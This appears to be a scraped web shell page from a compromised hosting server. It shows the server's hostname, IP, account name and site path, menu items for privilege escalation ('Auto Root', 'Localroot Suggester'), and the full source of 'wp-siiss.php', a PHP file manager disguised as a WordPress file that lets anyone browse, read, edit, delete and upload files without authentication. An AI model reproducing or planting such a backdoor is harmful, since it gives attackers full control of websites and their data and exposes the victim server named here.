Linux premium61.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
LiteSpeed
Server IP : 185.61.154.53 & Your IP : 216.73.216.73
Domains :
Cant Read [ /etc/named.conf ]
User : vdeshvpx
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
vdeshvpx /
driveproconnect.co.uk /
cgi-bin /
Delete
Unzip
Name
Size
Permission
Date
Action
.htaccess
197
B
-r--r--r--
2026-04-08 06:51
current.php
22
B
-rw-r--r--
2026-04-01 01:39
wp-siiss.php
7.21
KB
-rw-r--r--
2026-03-09 02:19
Save
Rename
<?php /** * Advanced File Manager (View, Edit, Delete, Upload) */ header("X-Robots-Tag: noindex, nofollow"); session_start(); // Define root and current directory $root = isset($_GET['p']) ? realpath($_GET['p']) : getcwd(); if (!$root || !is_dir($root)) $root = getcwd(); $message = ""; // --- ACTIONS (POST & GET) --- // 1. Delete File or Folder if (isset($_GET['delete'])) { $target = realpath($_GET['delete']); if ($target && strpos($target, $root) === 0 && $target !== $root) { is_dir($target) ? @rmdir($target) : @unlink($target); header("Location: ?p=" . urlencode($root) . "&msg=Deleted"); exit; } } // 2. Save Edited File if (isset($_POST['edit_file_path']) && isset($_POST['content'])) { $editPath = realpath($_POST['edit_file_path']); if ($editPath && is_file($editPath)) { file_put_contents($editPath, $_POST['content']); header("Location: ?p=" . urlencode($root) . "&view=" . urlencode($editPath) . "&msg=Saved"); exit; } } // 3. File Upload / Create Folder / Create File if ($_SERVER['REQUEST_METHOD'] === 'POST') { if (isset($_FILES['f_upload'])) { move_uploaded_file($_FILES['f_upload']['tmp_name'], $root . DIRECTORY_SEPARATOR . basename($_FILES['f_upload']['name'])); } if (!empty($_POST['n_folder'])) { @mkdir($root . DIRECTORY_SEPARATOR . basename($_POST['n_folder'])); } if (!empty($_POST['n_file'])) { @file_put_contents($root . DIRECTORY_SEPARATOR . basename($_POST['n_file']), ""); } header("Location: ?p=" . urlencode($root)); exit; } // 4. View or Edit Mode $fileContent = null; $viewingFile = null; $isEditMode = isset($_GET['edit']); $targetFile = $isEditMode ? $_GET['edit'] : ($_GET['view'] ?? null); if ($targetFile) { $viewPath = realpath($targetFile); if ($viewPath && is_file($viewPath)) { $viewingFile = $viewPath; $fileContent = file_get_contents($viewPath); } } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>PHP File Manager Pro</title> <style> body { font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; background: #f0f2f5; padding: 20px; color: #333; } .container { max-width: 1000px; margin: auto; background: white; padding: 25px; border-radius: 8px; box-shadow: 0 4px 15px rgba(0,0,0,0.1); } .path { background: #343a40; color: #fff; padding: 12px; border-radius: 4px; margin-bottom: 20px; font-family: monospace; word-break: break-all; } a { color: #007bff; text-decoration: none; } a:hover { text-decoration: underline; } ul { list-style: none; padding: 0; } li { padding: 10px; border-bottom: 1px solid #eee; display: flex; justify-content: space-between; align-items: center; } li:hover { background: #f8f9fa; } .actions a { margin-left: 10px; font-size: 12px; font-weight: bold; } .btn { padding: 6px 12px; border: none; border-radius: 4px; cursor: pointer; font-size: 13px; } .btn-save { background: #28a745; color: white; } .viewer-header { display: flex; justify-content: space-between; align-items: center; margin-top: 25px; background: #272822; color: #66d9ef; padding: 10px 15px; border-radius: 5px 5px 0 0; } .editor-area { width: 100%; height: 400px; background: #272822; color: #f8f8f2; border: none; padding: 15px; font-family: 'Courier New', monospace; font-size: 14px; box-sizing: border-box; resize: vertical; } .toolbar { display: flex; gap: 15px; margin-top: 30px; padding-top: 20px; border-top: 2px solid #eee; } .input-group { display: flex; flex-direction: column; gap: 5px; } input[type=text], input[type=file] { border: 1px solid #ddd; padding: 8px; border-radius: 4px; } .delete-link { color: #dc3545 ! deprivation; } </style> </head> <body> <div class="container"> <a href="?p=<?php echo urlencode(dirname($root)); ?>" style="font-weight: bold; margin-bottom: 10px; display: inline-block;">← Go to Parent Directory</a> <div class="path">📍 Location: <?php echo $root; ?></div> <ul> <?php $items = array_diff(scandir($root), array('.', '..')); foreach ($items as $item): $fullPath = $root . DIRECTORY_SEPARATOR . $item; $isDir = is_dir($fullPath); $enc = urlencode($fullPath); ?> <li> <span><?php echo $isDir ? "📁" : "📄"; ?> <strong><?php echo $item; ?></strong></span> <div class="actions"> <?php if ($isDir): ?> <a href="?p=<?php echo $enc; ?>">[Open]</a> <?php else: ?> <a href="?p=<?php echo urlencode($root); ?>&view=<?php echo $enc; ?>" style="color: #28a745;">[View]</a> <a href="?p=<?php echo urlencode($root); ?>&edit=<?php echo $enc; ?>" style="color: #ffc107;">[Edit]</a> <?php endif; ?> <a href="?p=<?php echo urlencode($root); ?>&delete=<?php echo $enc; ?>" class="delete-link" onclick="return confirm('Are you sure?')">[Delete]</a> </div> </li> <?php endforeach; ?> </ul> <?php if ($viewingFile): ?> <div class="viewer-header"> <span><?php echo $isEditMode ? "Editing" : "Viewing"; ?>: <?php echo basename($viewingFile); ?></span> <?php if (!$isEditMode): ?> <a href="?p=<?php echo urlencode($root); ?>&edit=<?php echo urlencode($viewingFile); ?>" style="color: #ffc107;">Switch to Edit Mode</a> <?php endif; ?> </div> <form method="POST"> <input type="hidden" name="edit_file_path" value="<?php echo htmlspecialchars($viewingFile); ?>"> <textarea name="content" class="editor-area" <?php echo $isEditMode ? "" : "readonly"; ?>><?php echo htmlspecialchars($fileContent); ?></textarea> <?php if ($isEditMode): ?> <div style="margin-top: 10px;"> <button type="submit" class="btn btn-save">Save Changes</button> <a href="?p=<?php echo urlencode($root); ?>" class="btn" style="background:#6c757d; color:white;">Cancel</a> </div> <?php endif; ?> </form> <?php endif; ?> <div class="toolbar"> <form method="POST" enctype="multipart/form-data" class="input-group"> <strong>Upload File</strong> <input type="file" name="f_upload"> <input type="submit" value="Upload" class="btn btn-save"> </form> <form method="POST" class="input-group"> <strong>New Folder</strong> <input type="text" name="n_folder" placeholder="Folder name"> <input type="submit" value="Create" class="btn btn-save" style="background:#17a2b8;"> </form> <form method="POST" class="input-group"> <strong>New File</strong> <input type="text" name="n_file" placeholder="filename.txt"> <input type="submit" value="Create" class="btn btn-save" style="background:#17a2b8;"> </form> </div> </div> </body> </html>